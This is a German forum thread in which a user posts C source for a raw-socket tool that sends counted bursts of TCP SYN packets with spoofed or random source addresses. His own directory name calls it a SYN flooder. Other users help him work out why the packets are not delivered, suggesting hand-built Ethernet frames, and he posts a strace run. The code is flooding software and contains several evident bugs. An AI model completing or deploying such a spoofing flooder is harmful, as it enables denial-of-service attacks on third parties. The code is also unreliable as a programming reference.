TCP/IP Paket mit SYN Flag über RAW Sockets versenden

Moin :)

Vorgeschichte:
Ich habe mich in letzter Zeit mit der RAW Socket Programmierung unter Linux beschäftigt und bin auf das folgende Problem gestoßen, auf welches ich bisher keine Lösung gefunden habe.
Ich habe ein C++ Programm geschrieben, welches ein RAW Socket erstellt und die Felder des IP- und TCP-Headers ausfüllt. Dann wird das Paket abgesendet.

Problem:
Dieses von mir generierte TCP/IP Paket (mit SYN-Flag) wird nur in Wireshark oder auch anderen Sniffern anzeigt, wenn die Zieladresse die des sendenden Computers ist. Die Absenderadresse ist hierbei völlig irrelevant und kann auch "gespooft" werden.
Sobald ich als Zieladresse eine andere im Subnetz verfügbare angebe und auf diesem Computer Wireshark laufen lasse, kommt kein Paket an. (unabhängig von der Absenderadresse, also auch nicht "gespoofte" Pakete kommen nicht an.)

Quelltext:
Code:
// Letzte Änderung: 11.04.2010
// Status: V1.0 [90 %]

#include <stdio.h>                                                                       // Standard I/O Funktionen wie printf()
#include <stdlib.h>                                                                      // Standard Funktionen wie exit() und malloc()
#include <string.h>                                                                      // String und Memory Funktionen wie strcmp() und memset()
#include <unistd.h>                                                                      // System Calls wie open(), read() und write()
#include <errno.h>                                                                       // Detailliertere Fehlermeldungen
#include <sys/socket.h>                                                                  // Socket Funktionen wie socket(), bind() und listen()
#include <arpa/inet.h>                                                                   // Funktionen wie inet_addr()
#include <netinet/in.h>                                                                  // IP Protokolle, sockaddr_in Struktur und Funktionen wie htons()
#include <netinet/ip.h>                                                                  // IP Header Struktur
#include <netinet/tcp.h>                                                                 // TCP Header Struktur

unsigned short csum(unsigned short *buf, int nwords)                                     // Berechnet Checksumme (nach RFC)
{

    unsigned long sum;
    for (sum=0; nwords>0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum &0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

int main(int argc, char *argv[])
{
    int rawsock, uid;                                                                    // Variablen deklarieren
    struct sockaddr_in addr;
    struct iphdr ipheader;
    struct tcphdr tcpheader;
    unsigned int packetsize = sizeof(struct iphdr) + sizeof(struct tcphdr);
    unsigned char packet[packetsize];
    struct iphdr *ip = (struct iphdr *)packet;
    struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
    int one = 1,i,j;
    char newip[17];

    if (argc!=7)                                                                          // falls zu wenig Argumente: Anleitung
    {
        printf("\nUsage: %s <Quelladresse> <Quellport> <Zieladresse> <Zielport> <Paketanzahl> <Zufallsquelladressen?>\n\n",argv[0]);
        printf("Beispiele: %s 192.168.0.1 1234 192.168.0.15 80 5000 0\n",argv[0]);
        printf("           %s 211.213.4.5 3241 145.321.7.33 21 9999 1\n\n",argv[0]);
        exit(1);
    }

    uid = getuid();                                                                      // Ist der User ROOT?
    if(uid != 0)                                                                         // falls nicht, Fehlermeldung u. beenden
    {
        printf("UID 0 ben\x84tigt!\n",uid);
        exit(1);
    }

    memset(packet,0,packetsize);                                                         // Paketbuffer initialisieren

    if( (rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1 ) { perror("socket"); exit(1); } // IP RAW Socket erstellen

    if( setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1 ) { perror("setsockopt"); exit(1); }   // Kerneleingriff verhindern

    ip->version = 4;                                                                     // IP Version
    ip->ihl = 5;                                                                         // IP-Headerlänge
    ip->id = htonl(random());                                                            // IP ID
    ip->saddr = inet_addr(argv[1]);                                                      // Quelladresse [kann gespooft werden]
    ip->daddr = inet_addr(argv[3]);                                                      // Zieladresse
    ip->ttl = 123;                                                                       // time-to-live
    ip->protocol = IPPROTO_TCP;                                                          // nachfolgendes Protokoll [TCP=6 o. IPPROTO_TCP]
    ip->tot_len = packetsize;                                                            // Größe des IP Pakets
    ip->check = 0;                                                                       // IP Checksumme [0=Kernel übernimmt]

    tcp->source = htons(atoi(argv[2]));                                                  // Quellport
    tcp->dest = htons(atoi(argv[4]));                                                    // Zielport
    tcp->seq = htonl(1000000000);                                                        // Sequenz nummer
    tcp->ack_seq = 0;                                                                    // Acknowledgement nummer
    tcp->ack = 0;                                                                        // TCP Flags
    tcp->syn = 1;
    tcp->window = htons(4096);                                                           // Windowgröße
    tcp->check = 0;                                                                      // TCP Checksumme [0=Kernel übernimmt]
    tcp->doff = 5;                                                                       // TCP-Headerlänge

    addr.sin_family = AF_INET;                                                           // Adressfamilie u. Adressen angeben
    addr.sin_port = tcp->source;
    addr.sin_addr.s_addr = ip->saddr;

    printf("\nSende...\n");                                                              // Statusmeldung für User

    for (i=0;i<atoi(argv[5]);i++)                                                        // Schleife für Paketversand
    {

        if (argv[6]==1)                                                                  // Modus: Zufallsadressen gewählt?
        {
            for (j=0;j==3;j++)                                                           // Zufallsadresse berechnen
            {
                strcat(newip,random()%255);
                strcat(newip,".");
            }
            ip->saddr = htons(newip);                                                    // Neue Adresse in den IP-Header eintragen
        }
        if( (sendto(rawsock,packet,packetsize,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_in))) == -1 )    //Paket absenden
        {
            perror("Fehler beim Versenden der Pakete!");                                 // Falls Fehler beim senden: Fehlermeldung + Beenden
            exit(1);                                                                     // Programm beenden
        }
    }
    printf("Pakete erfolgreich versendet!\n\n");                                         // Statusmeldung für User

    close(rawsock);                                                                      // IP RAW Socket schließen und freigeben
    return 0;                                                                            // Programm beenden
}
Für Hilfe und Tipps bin ich sehr dankbar, da ich an dieser Stelle hier nicht weiterkomme.

MFG
bl0xx :P
 
Hi,

kannst Du mal ein solches "ankommendes" Paket als wireshark cap hier uploaden?
(Es sei nat. Du bangst um den Verlust der Anomymität Deiner NIC-MAC)
Wenn Du ein solches Paket sendest, kannst Du es mit wireshark auf dem sendenden System denn herausgehen sehen ?
Sind die checksums korrekt, oder bzw. macht Dein System ip Checksum offloading ?

//Edit: Ich hoffe iptables ist nicht an...Aber poste so ein Paket mal
 
Zuletzt bearbeitet:
mac ist egal, bin gerade eh nicht an meinem Rechner :P

So ich kopiere euch mal den Summary - Text, ein Hexstream und das ganze Paket hab ich auch mal als Anhang hinbeigefügt.

Hex: 00a057057cfb00248c53459a0800450000286b8b00007b065468c0a87f01c0a87f8a04d200153b9aca00000000005002100000000000

Summary: 3 2.389107 192.168.127.1 192.168.127.138 TCP search-agent > ftp [SYN] Seq=0 Win=4096 Len=0

Es ist richtig, dass ich auch keine abgehende Pakete in Wireshark sehen kann.

Bin fast sicher, dass ich keine Filter aktiviert habe.

Danke

MFG
bl0xx

Edit:\\ Musste die Datei mit dem Paket ".txt" nennen, einfach wieder entfernen
 
Zuletzt bearbeitet:
Hi,

ich hoffe ich habe alles richtig verstanden, also wenn ich die Tage mal Zeit habe und sich keine Lösung einstellt, stelle ich das mal nach, aber folgende Dinge fallen mir direkt dazu ein:

Also:
Wie Du gesagt hast ist die echte IP-Adresse des Computers, der dieses Paket sendete 192.168.127.138 , sonst hättest Du es nach Deinen Beschreibungen nicht capturen können, auf dem "sendenden" System.
Du benutzt SOCK_RAW, d.h. irgendwer muss sich um den korrekten ethernetheader kümmern, wohl das OS, u.U. einen arp request absetzen um die destination ethernet address zu setzen.
Die source- und destination MAC Felder unterscheiden sich allerdings, das finde ich etwas merkwürdig, wer hat denn diesen zusammengebaut..da ist was faul :rolleyes:
Ich würde Dir empfehlen mal ein solches Paket vollständig zusammenzubauen, dann weißt Du ganz genau was passiert, ich habe direkt damit gearbeitet und es funktionierte damals sehr gut. Die Socket Option dafür wäre SOCK_PACKET, dann musst Du den ethernetheader selbst bauen, und die korrekte destination mac dort einsetzen. Ich wüsste keinen Grund warum es dann nicht funktionieren sollte.

...wer hat den wirklich die MAC Adressen, die in Deinem Paket auftauchen...?
 
Danke! Ich denke Das wird es sein, werde morgen nachgucken wem die MAC-Adressen gehören und selbst ein Ethernet-Header zusammenstellen. Berichte dann, ob es geklappt hat. MFG bl0xx edit:\\ @Chromatin: getestet mit 2.6.30.9, 2.6.32.4 und 2.6.33.x
 
Sry, hatte die letzte Woche wenig Zeit.

@storm_chaser:


Die 192.168.2.1 ist die Adresse der NIC im Router.
Die 192.168.2.138 ist die Adresse der NIC des sendenden Hosts. (Absender wird gespooft zu x.x.127.1)

Die MAC-Adressen passen auch zu den beiden NICs.

Hier noch der Mitschnitt von strace.
Code:
vc@pedda:~/Desktop/TCP-IP SYN-Flooder$ sudo strace ./Projekt1 192.168.127.1 1234 192.168.127.138 21 3 0
execve("./Projekt1", ["./Projekt1", "192.168.127.1", "1234", "192.168.127.138", "21", "3", "0"], [/* 16 vars */]) = 0
brk(0)                                  = 0x1d39000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f48c27d3000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f48c27d1000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=111031, ...}) = 0
mmap(NULL, 111031, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f48c27b5000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360\244\5\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=1027760, ...}) = 0
mmap(NULL, 3207256, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f48c22a6000
mprotect(0x7f48c2398000, 2097152, PROT_NONE) = 0
mmap(0x7f48c2598000, 36864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xf2000) = 0x7f48c2598000
mmap(0x7f48c25a1000, 82008, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f48c25a1000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0p>\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=538920, ...}) = 0
mmap(NULL, 2633944, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f48c2022000
mprotect(0x7f48c20a4000, 2097152, PROT_NONE) = 0
mmap(0x7f48c22a4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x82000) = 0x7f48c22a4000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\200-\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=92552, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f48c27b4000
mmap(NULL, 2188280, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f48c1e0b000
mprotect(0x7f48c1e21000, 2093056, PROT_NONE) = 0
mmap(0x7f48c2020000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15000) = 0x7f48c2020000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\353\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1490312, ...}) = 0
mmap(NULL, 3598344, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f48c1a9c000
mprotect(0x7f48c1c02000, 2093056, PROT_NONE) = 0
mmap(0x7f48c1e01000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x165000) = 0x7f48c1e01000
mmap(0x7f48c1e06000, 18440, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f48c1e06000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f48c27b3000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f48c27b2000
arch_prctl(ARCH_SET_FS, 0x7f48c27b2710) = 0
open("/dev/urandom", O_RDONLY)          = 3
read(3, "\202\251\243\33G\340\354", 7)  = 7
close(3)                                = 0
mprotect(0x7f48c1e01000, 16384, PROT_READ) = 0
mprotect(0x7f48c2020000, 4096, PROT_READ) = 0
mprotect(0x7f48c22a4000, 4096, PROT_READ) = 0
mprotect(0x7f48c2598000, 28672, PROT_READ) = 0
mprotect(0x601000, 4096, PROT_READ)     = 0
mprotect(0x7f48c27d4000, 4096, PROT_READ) = 0
munmap(0x7f48c27b5000, 111031)          = 0
getuid()                                = 0
socket(PF_INET, SOCK_RAW, IPPROTO_TCP)  = 3
setsockopt(3, SOL_IP, IP_HDRINCL, [1], 4) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f48c27d0000
write(1, "\n", 1
)                       = 1
write(1, "Sende...\n", 9Sende...
)               = 9
sendto(3, "E\0(\0k\213\0\0{\6\0\0\300\250\177\1\300\250\177\212\4\322\0\25;\232\312\0\0\0\0\0"..., 40, 0, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("192.168.127.1")}, 16) = 40
sendto(3, "E\0(\0k\213\0\0{\6\0\0\300\250\177\1\300\250\177\212\4\322\0\25;\232\312\0\0\0\0\0"..., 40, 0, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("192.168.127.1")}, 16) = 40
sendto(3, "E\0(\0k\213\0\0{\6\0\0\300\250\177\1\300\250\177\212\4\322\0\25;\232\312\0\0\0\0\0"..., 40, 0, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("192.168.127.1")}, 16) = 40
write(1, "Pakete erfolgreich versendet!\n", 30Pakete erfolgreich versendet!
) = 30
write(1, "\n", 1
)                       = 1
close(3)                                = 0
exit_group(0)                           = ?
vc@pedda:~/Desktop/TCP-IP SYN-Flooder$

Ich denke, dass System baut schon alleine einen ordneltichen Ethernetrahmen.

Probiere aber die Tage nochmal ihn selbstständig zu "bauen".

MFG
bl0xx
 
Zurück
Oben